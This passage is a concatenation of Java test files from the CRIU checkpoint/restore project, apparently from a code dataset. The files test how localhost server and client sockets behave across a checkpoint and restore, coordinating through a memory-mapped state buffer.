logger.log(Level.INFO, "Starting server and client process"); ProcessBuilder builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsListenServer", TESTNAME, port); Process serverProcess = builder.start(); builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsListenClient", TESTNAME, port); Process clientProcess = builder.start(); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Some error took place in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Exception occurred in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "State is not the expected 'to be checkpointed' state"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { logger.log(Level.INFO, "Going to checkpoint server process"); SocketHelper.checkpointAndWait(b, logger, serverProcess, clientProcess); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_RESTORE); logger.log(Level.INFO, "Process has been restored!"); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN) { ; } char bufchar = socketMappedBuffer.getChar(Helper.MAPPED_INDEX); if (bufchar != Helper.STATE_FAIL && bufchar != Helper.STATE_PASS && bufchar != SocketHelper.STATE_SUCCESS) { logger.log(Level.SEVERE, "Received wrong message from the child process: not the expected finish message"); logger.log(Level.SEVERE, "Check their log files for more details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Error in the client or server process: check their log for details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { ; } /* * Client process puts socketMappedBuffer to Helper.STATE_PASS-Pass state if the test passed. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_PASS) { logger.log(Level.INFO, Helper.PASS_MESSAGE); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (b != null) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
6,421
40.701299
164
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsListenClient.java
package org.criu.java.tests; import java.io.*; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsListenClient { static String TESTNAME = "SocketsListenClient"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; Socket socket = null; String parentTestName, portArg; int port; Logger logger = null; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", readMssg, msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4"; /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsListenFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_RESTORE && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "Error: Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Waiting for CR"); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { ; } logger.log(Level.INFO, "Restored"); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "Buffer does not contain the expected 'server bound to port' state" + socketMappedBuffer.getChar(Helper.MAPPED_INDEX)); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } /* * Make the thread sleep to ensure server is listening on the port for client connections. */ logger.log(Level.INFO, "Put thread to sleep"); try { Thread.sleep(10); } catch (InterruptedException e) { logger.log(Level.WARNING, "Thread was interuptedp"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } logger.log(Level.INFO, "Client socket sending req to server at IP: 127.0.0.1 port:" + port); try { socket = new Socket(SocketHelper.IP_ADDRESS, port); } catch (Exception e) { logger.log(Level.SEVERE, "Exception occurred when connecting to port: " + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } PrintStream out = new PrintStream(socket.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); logger.log(Level.INFO, "Sending message to server " + msg1); out.println(msg1); readMssg = br.readLine(); logger.log(Level.INFO, "message received from server " + readMssg); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Expected " + msg2); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } logger.log(Level.INFO, "Sending message to server " + msg3); out.println(msg3); readMssg = br.readLine(); logger.log(Level.INFO, "message received from server " + readMssg); if (!msg4.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Expected " + msg4); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } socket.close(); /* * Wait for server process to end. */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN) { ; } /* * Check the server process has ended successfully, if it was a success put MappedBuffer to STATE_PASS, else to STATE_FAIL */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } } }
5,315
37.80292
311
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsListenServer.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsListenServer { static String TESTNAME = "SocketsListenServer"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; String parentTestName, portArg; int port; Logger logger = null; Socket socket = null; String readMssg, msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4"; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsListenFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); SocketHelper.writePid(parentTestName, pid); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); logger.log(Level.INFO, "Server pid: " + pid); logger.log(Level.INFO, "socket buffer connection opened"); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Server will be listening on Port " + port); ServerSocket s = new ServerSocket(port); /* * Server has bound to a port but is not listening yet! */ logger.log(Level.INFO, "Going to checkpoint"); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { s.close(); System.exit(1); } /* * Checkpoint and wait for Restore. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); SocketHelper.socketWaitForRestore(socketMappedBuffer, logger); if (!s.isBound()) { logger.log(Level.SEVERE, "Server is not bound to a port"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (s.getLocalPort() != port) { logger.log(Level.SEVERE, "SServer is not listening on correct port"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } /* * Timeout after 5 sec if client does not connect */ try { s.setSoTimeout(5 * 1000); } catch (SocketException e) { logger.log(Level.SEVERE, "cannot set timeout"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } try { logger.log(Level.INFO, "Waiting for client to connect"); /* * Put Socket Mapped Buffer to SocketHelper.STATE_LISTEN state - server has bound to port and * will begin listening for connections. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_LISTEN); socket = s.accept(); } catch (Exception e) { logger.log(Level.SEVERE, "Timed out while waiting for client to connect\n" + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); PrintStream outstream = new PrintStream(socket.getOutputStream()); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 1: " + readMssg); if (!msg1.equals(readMssg)) { logger.log(Level.SEVERE, "Message 1 received was wrong:rec " + readMssg + " expected: " + msg1); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Sending message: " + msg2); outstream.println(msg2); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 3: " + readMssg); if (!msg3.equals(readMssg)) { logger.log(Level.SEVERE, "Message 3 received was wrong:rec " + readMssg + " expected: " + msg3); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } outstream.println(msg4); logger.log(Level.INFO, "Sending message: " + msg4); /* * Put Socket-MappedBuffer to state SocketHelper.STATE_SUCCESS telling the server process has ended successfully. */ socket.close(); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { System.exit(1); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_SUCCESS); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } } }
5,797
35.012422
149
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsMultiple.java
package org.criu.java.tests; import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsMultiple { static String TESTNAME = "SocketsMultiple"; /** * Runs the Client and Server Processes, Multiple clients connect to server Process, checkpoints the server process * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null, socketMappedBuffer = null; FileChannel channel; String pid; String port = "49200"; Logger logger = null; try { /* * Mapped buffer 'b' to communicate between CheckpointRestore.java and this process. */ File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); Helper.init(TESTNAME, pid, logger); logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); if (b.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } /* * Socket Mapped Buffer to communicate between server process, client process and this process. */ logger.log(Level.INFO, "Creating socketBufferFile and setting the init value of buffer"); File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/SocketsMultipleFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Set socketMappedBuffer to init state. */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_INIT); logger.log(Level.INFO, "Starting server and client process"); ProcessBuilder builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsMultipleServer", TESTNAME, port); Process serverProcess = builder.start(); builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsMultipleClient", TESTNAME, port); Process clientProcess = builder.start(); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Some error took place in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "Exception occurred in the client or server process: check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT) { logger.log(Level.SEVERE, "Killing the server process and client process"); logger.log(Level.SEVERE, "State is not the expected 'to be checkpointed' state"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { logger.log(Level.INFO, "Going to checkpoint server process"); SocketHelper.checkpointAndWait(b, logger, serverProcess, clientProcess); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_RESTORE); logger.log(Level.INFO, "Process has been restored!"); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } char bufchar = socketMappedBuffer.getChar(Helper.MAPPED_INDEX); if (bufchar != Helper.STATE_FAIL && bufchar != Helper.STATE_PASS && bufchar != SocketHelper.STATE_SUCCESS) { logger.log(Level.SEVERE, "Received wrong message from the child process: not the expected finish message"); logger.log(Level.SEVERE, "Check their log files for more details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Error in the client or server process: check their log for details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { ; } /* * Client process puts socketMappedBuffer to STATE_PASS state if the test passed. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_PASS) { logger.log(Level.INFO, Helper.PASS_MESSAGE); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (b != null) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
6,393
40.79085
161
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsMultipleClient.java
package org.criu.java.tests; import java.io.*; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsMultipleClient { static String TESTNAME = "SocketsMultipleClient"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; String msg1 = "Message1", msg2 = "Message2", readMssg; Socket socket1 = null, socket2 = null, socket3 = null, socket4 = null; String parentTestName, portArg; int port; Logger logger = null; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsMultipleFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "Error: Socket-buffer not in expected state"); } try { logger.log(Level.INFO, "client 1 connecting..."); socket1 = new Socket(SocketHelper.IP_ADDRESS, port); } catch (Exception e) { logger.log(Level.SEVERE, "Exception when client connects to server: " + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } logger.log(Level.INFO, "Client 1 connected to server successfully"); PrintStream out1 = new PrintStream(socket1.getOutputStream()); BufferedReader br1 = new BufferedReader(new InputStreamReader(socket1.getInputStream())); logger.log(Level.INFO, "Got input and output streams for socket1"); try { logger.log(Level.INFO, "client 2 connecting..."); socket2 = new Socket(SocketHelper.IP_ADDRESS, port); } catch (Exception e) { logger.log(Level.SEVERE, "Exception when client connects to server: " + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } logger.log(Level.INFO, "Client 2 connected to server successfully"); PrintStream out2 = new PrintStream(socket2.getOutputStream()); BufferedReader br2 = new BufferedReader(new InputStreamReader(socket2.getInputStream())); logger.log(Level.INFO, "Got input and output streams for socket2"); try { logger.log(Level.INFO, "client 3 connecting..."); socket3 = new Socket(SocketHelper.IP_ADDRESS, port); } catch (Exception e) { logger.log(Level.SEVERE, "Exception when client connects to server: " + e); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } logger.log(Level.INFO, "Client 3 connected to server successfully"); PrintStream out3 = new PrintStream(socket3.getOutputStream()); BufferedReader br3 = new BufferedReader(new InputStreamReader(socket3.getInputStream())); logger.log(Level.INFO, "Got input and output streams for socket3"); out1.println(msg1); readMssg = br1.readLine(); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received; Received: " + readMssg); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } socket1.close(); out2.println(msg1); /* * Wait for Checkpoint-Restore */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_RESTORE) { logger.log(Level.SEVERE, "Socket-mapped-buffer is not in restored state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Server is Restored!!"); out3.println(msg1); readMssg = br2.readLine(); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received by client 2; Received: " + readMssg); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } readMssg = br3.readLine(); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received by client 3; Received: " + readMssg); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } socket2.close(); socket3.close(); try { logger.log(Level.INFO, "client 4 connecting..."); socket4 = new Socket(SocketHelper.IP_ADDRESS, port); } catch (Exception e) { logger.log(Level.SEVERE, "Exception when client connects to server: " + e); } logger.log(Level.INFO, "Client 4 connected to server successfully"); PrintStream out4 = new PrintStream(socket4.getOutputStream()); BufferedReader br4 = new BufferedReader(new InputStreamReader(socket4.getInputStream())); logger.log(Level.INFO, "Got input and output streams for socket4"); out4.println(msg1); readMssg = br4.readLine(); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "wrong message received by client 4; Received: " + readMssg); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } socket4.close(); /* * Wait for server process to end. */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } /* * Check the server process has ended successfully, if it was a success put Mapped Buffer to STATE_PASS, else to STATE_FAIL */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } } }
6,833
38.051429
239
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsMultipleServer.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.ServerSocket; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsMultipleServer { static String TESTNAME = "SocketsMultipleServer"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; String parentTestName, portArg; int port; Logger logger = null; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsMultipleFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); SocketHelper.writePid(parentTestName, pid); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); logger.log(Level.INFO, "Server pid: " + pid); logger.log(Level.INFO, "socket buffer connection opened"); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } /* * The array indexes 3, 5, 7 and 9 will map the state of client 1, 2, 3 and 4. * Set these array indexes to init state. */ socketMappedBuffer.putChar(3, Helper.STATE_INIT); socketMappedBuffer.putChar(5, Helper.STATE_INIT); socketMappedBuffer.putChar(7, Helper.STATE_INIT); socketMappedBuffer.putChar(9, Helper.STATE_INIT); ServerSocket s = new ServerSocket(port); logger.log(Level.INFO, "Server will be listening on Port " + port); Socket[] sockets = new Socket[4]; /* * Set the SocketMappedBuffer to S state-server will be listening for connections */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_LISTEN); for (int i = 1; i <= 4; i++) { sockets[i - 1] = s.accept(); ServerThread serverThread = new ServerThread(sockets[i - 1], "s-socket " + i, 2 * i + 1, logger, socketMappedBuffer); serverThread.start(); if (i == 3) { logger.log(Level.INFO, "Connected to client: 3"); /* * Client 3 has connected, wait for thread 1 to finish and then checkpoint. */ while (socketMappedBuffer.getChar(3) != Helper.STATE_FAIL && socketMappedBuffer.getChar(3) != Helper.STATE_PASS) { ; } logger.log(Level.INFO, "Going to checkpoint"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); SocketHelper.socketWaitForRestore(socketMappedBuffer, logger); } } /* * Loop while any of the 4 thread is running */ while (socketMappedBuffer.getChar(3) == Helper.STATE_INIT || socketMappedBuffer.getChar(5) == Helper.STATE_INIT || socketMappedBuffer.getChar(7) == Helper.STATE_INIT || socketMappedBuffer.getChar(9) == Helper.STATE_INIT) { ; } /* * Check Socket Mapped Buffer for a thread that failed */ for (int i = 1; i <= 4; i++) { if (socketMappedBuffer.getChar(i * 2 + 1) == Helper.STATE_FAIL) { logger.log(Level.SEVERE, "Error in thread connected to client " + i); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } /* * Check the 1st Socket is closed */ if (!sockets[0].isClosed()) { logger.log(Level.SEVERE, "socket 1 is not closed"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Socket 1 is in expected closed state: " + sockets[0].isClosed()); /* * Check all threads are in expected pass state */ for (int i = 1; i <= 4; i++) { if (socketMappedBuffer.getChar(i * 2 + 1) != Helper.STATE_PASS) { logger.log(Level.SEVERE, "Unexpected State of buffer: " + socketMappedBuffer.getChar(i * 2 + 1) + ", client: " + i); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } } logger.log(Level.INFO, "Done"); /* * Put Socket-MappedBuffer to state SocketHelper.STATE_SUCCESS telling the server process has ended successfully. */ if 